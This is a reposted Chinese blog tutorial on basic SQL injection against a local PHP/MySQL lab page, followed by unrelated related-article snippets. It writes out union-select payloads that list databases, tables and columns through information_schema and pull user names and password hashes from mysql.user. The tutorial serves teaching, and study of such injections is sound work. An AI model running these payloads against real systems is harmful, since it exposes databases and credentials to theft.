简单的SQL注入学习

引贴:

http://blog.163.com/lucia_gagaga/blog/static/26476801920168184648754/

首先需要编写一个php页面,讲php页面放入/opt/lampp/htdocs目录下:

解释一下这个页面:

1.通过if语句判断变量是否初始化

2.if语句中通过mysql_connect()函数连接数据库

3.连接数据库成功后,选择一个数据库

4.选择完数据库后执行一条mysql查询

5.进行查询结果的处理

6.使用echo讲查询结果输出,便于查看

 

接下来配置数据库mululu_testdb,创建users表,并且造数据

然后使用 sql 语句取到指定的记录 参数从浏览器传入
取到的记录显示在指定的位置 效果就酱紫:

先来看看 and 注入和 or 注入:

再来看看加法注入和减法注入:

以上就是最简单的 SQL 注入示例;
通过传入人为构造的参数 取得本来拿不到的数据;

 

如果要攻击数据库 最起码要知道被攻击的是什么数据库 
首先从 Web 应用技术上就可以获得一些线索:
如果是使用 ASP 或者 .NET 开发的系统 数据库就可能是 SQLServer
如果是使用 PHP 开发的系统 数据库就可能是 MySQL 或者 PostgreSQL
而如果是使用 Java 开发的系统 它挂的数据库就可能是 Oracle 或者 MySQL

除了 Web 应用之外 底层操作系统也可以提供线索:
比如安装 IIS 作为服务器平台 则后台数据库就可能是 SQL Server
而允许 Apache 和 PHP 的 Linux 服务器 就可能使用 MySQL 或者 PostgreSQL

另外还可以借助错误信息来判断数据库类型
因为报错中有可能直接显示数据库的类型:

 

为了获知某个表里面存在多少个字段 可以注入 order by 子句:

 

还可以通过 union 语句注入的方式 获得数据库的用户名和版本:

 

然后就可以通过注入语句 获得所有的数据库的名字:
select * from users where id = 1 union select null,schema_name,null from information_schema.schemata 

 

上图所示 服务器上所有的数据库就这样暴露出来 。。。

有了数据库的名字 还可以进一步获取表的名字:
select * from users where id = 1 union select null,table_name,null from information_schema.tables where table_schema='bugfree' 

有了表名字 获取字段名字也很容易:
select * from users where id = 1 union select null,column_name,null from information_schema.columns where table_name='bf_bug_info' and table_schema = 'bugfree' 

 

至此 我们已经利用 SQL 注入的方式 获得了太多信息
然鹅 我们甚至还可以获得更多 

在掌握数据库连接密码的情况下 我们来查询一下 mysql.user 表:

那么如果没有密码呢 通过注入的方式 也可以获得这些数据:
select * from users where id = 1 union select Host,user,password from mysql.user 

以上展示的就是最为基础的 SQL 注入的实现形式了

假设 SQL 语句是 INSERT into 表名 values ('X',X,X); 

那么就往数据库插入了非法数据了。。。。。

转载于:https://www.cnblogs.com/xiaoyaojinzhazhadehangcheng/p/8042029.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/428461.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

什么是网站监控?

网站监控是跟踪网站的可用性和性能,以最小化宕机时间,优化性能并确保顺畅的用户体验。维护网站正常运行对于任何企业来说都是至关重要的,因而对大多数业务来说,网站应用监控都是一个严峻的挑战。Applications Manager网站应用监控…

intellij idea 分屏设置 与快捷键

1、找到分屏功能 File -> setting -> keymap,搜索(注意大小写):   Split Vertically 水平分屏   Split Horizontally 垂直分屏 2、设置快捷键, 编辑快捷键的地方在搜索框同一行:    在标签上直…

SSH整合方案二(不带hibernate.cfg.xml)

整体结构: 1.引入相关jar包 2.编写实体类和映射文件 package cn.zqr.domain;public class Customer {private Long cust_id;private String cust_name;private Long cust_user_id;private Long cust_create_id;private String cust_source;private String cust_industry;privat…

POJ 1742 Coins ( 经典多重部分和问题 DP || 多重背包 )

题意 : 有 n 种面额的硬币,给出各种面额硬币的数量和和面额数,求最多能搭配出几种不超过 m 的金额? 分析 : 这题可用多重背包来解,但这里不讨论这种做法。 如果之前有接触过背包DP的可以自然想到DP数组的定义 > dp[i][j] 表示…

css用hover制作下拉菜单

首先我们的需求就是 制作一个鼠标移动到某个区域就会有下拉菜单的弹出,这样会有更多的子类内容,示例代码如下: <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Title</title><style>*{mar…

mysql 字典索引_【大白话mysql】你真的了解 mysql 索引吗?

本文来源于公众号&#xff1a; 跬步匠心什么是索引&#xff1f;当我们使用汉语字典查找某个字时&#xff0c;我们会先通过拼音目录查到那个字所在的页码&#xff0c;然后直接翻到字典的那一页&#xff0c;找到我们要查的字&#xff0c;通过拼音目录查找比我们拿起字典从头一页一…

mysql使用jtable_jtable 的简单使用

做后台管理管理系统时&#xff0c;基于ajax的数据操作和富有表现力的数据绑定插件jtable绝对是一个不错的选择&#xff0c;他接收来自服务器端的json格式的数据。而且他是一款开源的基于jquery和jquery ui的插件&#xff0c;您可以根据自己的需要修改其表现&#xff0c;如css&a…

java自定义菜单跳转页面_微信公众号开发 自定义菜单跳转页面并获取用户信息实例详解...

微信公众号开发 自定义菜单请先读完本文再进行配置开发请先前往微信平台开发者文档阅读“网页授权获取用户基本信息”的接口说明在微信公众账号开发中&#xff0c;往往有定义一个菜单&#xff0c;然后用户点击该菜单就进入用户个人中心的功能&#xff0c;通常应用于各个公众账号…

贝叶斯理论基础理解

从贝叶斯方法谈到贝叶斯网络&#xff1a; http://blog.csdn.net/zdy0_2004/article/details/41096141 1 思考模式 比如往台球桌上扔一个球&#xff0c;这个球落会落在何处呢&#xff1f;如果是不偏不倚的把球抛出去&#xff0c;那么此球落在台球桌上的任一位置都有着相同的机…

C++如何实现DNS域名解析转

C如何实现DNS域名解析 这片文章介绍了C如何实现DNS域名解析&#xff0c;还有对相关技术的介绍&#xff0c;代码很详细,需要的朋友可以参考下一、概述 现在来搞定DNS域名解析&#xff0c;其实这是前面一篇文章C实现Ping里面的遗留问题&#xff0c;要干的活是ping的过程中画红线的…

高等代数第3版下 [丘维声 著] 2015年版_2020年成人高考 专升本 高等数学复习攻略...

成人高考的高等数学考试按照专业属性分为理工类和经管类&#xff0c;高等数学一直是成考中的比较不好拿分的科目&#xff0c;也是大家复习备考的难点。今天&#xff0c;小编给大家分享一些答题技巧和必备的公式&#xff0c;帮助大家一起来搞定高等数学&#xff0c;希望这份资料…

java虚拟机10.内存模型与线程

多任务处理在现代计算机操作系统中是一项必备的功能&#xff0c;让计算机同时去做几件事情&#xff0c;不仅是因为计算机的运算能力强大了&#xff0c;更重要的原因是计算机的运算速度与它的存储和通信子系统速度的差距太大&#xff0c;大量的时间都花费在磁盘I/O&#xff0c;网…

php仿微信上传图片压缩,PHP仿微信多图片预览上传实例代码

生产图片区域&#xff0c;上传按钮#btn可替换自己想要的图片plupload上传var uploader new plupload.Uploader({//创建实例的构造方法runtimes: html5,flash,silverlight,html4, //上传插件初始化选用那种方式的优先级顺序browse_button: btn, // 上传按钮url: "ajax.php…

笔记本电脑如何保养_嘉兴专业笔记本电脑喷漆加工厂价格实惠

嘉兴专业笔记本电脑喷漆加工厂价格实惠 [xznugcbx]不宜大量储存或久存&#xff0c;做好通风设施。自喷漆如果大量泄露操作人员应迅速撤离泄露污染区人员到安全区域&#xff0c;因罐内的二甲醚气体具有轻微的毒性&#xff0c;并将污染区域进行隔离&#xff0c;罐内的气体跟空气中…

css 滤镜之AlphaImageLoader

CreateTime--2017年12月25日17:05:37 Author:Marydon ie滤镜特效之AlphaImageLoader 作用&#xff1a; 用于设置背景图片特效样式 使用条件&#xff1a; IE8及以下版本不支持属性background-size&#xff0c;可以使用AlphaImageLoader来代替 语法&#xff1a; filter : progid:…

企业是否应该实现对客户需求的快速响应_互联网企业的数据化迭代和数据化应用...

数字时代&#xff0c;品牌和消费者正经历数字化的变革&#xff0c;谁能真正实现企业数据赋能&#xff0c;谁就是残酷市场竞争下的优胜者。企业需要加快实现全数据治理工具的研发&#xff0c;用数据推动企业发展。本文作者结合案例分享了关于企业数字化的方法论与感知响应模型&a…

windows server 触屏_宜昌触屏万能蒸烤箱价格-华春新能源有限公司

首页 > 新闻列表 > 浏览文章发布时间&#xff1a;2020-10-27 08:47:06 浏览量&#xff1a; 5导读&#xff1a;华春新能源有限公司为您提供宜昌触屏万能蒸烤箱价格的相关知识与详情&#xff1a; 所述水箱与水较少时的水位达到一个比预定热气体电磁阀被打开时系统压力平衡…

3ds Max制作碗实例教程

一、 碗的建模。模型的结果如图WB—1所示&#xff1a; 图WB—1 1. 创建圆柱&#xff0c;并调节参数&#xff0c;转换到多边形&#xff0c;最终的结果图WB—2所示&#xff1a; 图WB—2 2.使用Inset&#xff08;插入&#xff09;插入一个面&#xff0c;再次执行Extrude&#xff0…

unity hub服务器无响应_累积更新KB4541335反馈称无法安装 出现无响应情况

几天前微软面向Windows 10 Version 1903/Version 1909功能更新&#xff0c;发布了累积更新KB4541335&#xff0c;主要改善了开始菜单和文件管理器。不过部分用户在Feedback Hub上反馈无法安装该更新&#xff0c;过程中会收到错误信息。用户反馈称会收到“2020-03 Cumulative Up…

电脑二维码怎么扫描_扫描模组方案是如何满足多种应用场景需求?

随着自动识别技术的发展&#xff0c;扫描模组逐渐成为各个领域上的配套&#xff0c;然而很多人还停留在“主扫”的观念上&#xff0c;殊不知如今的“被扫”更受人们的欢迎&#xff0c;即采用硬件解码的方式去识读条形码或二维码。远景达作为扫描模组方案公司&#xff0c;在不断…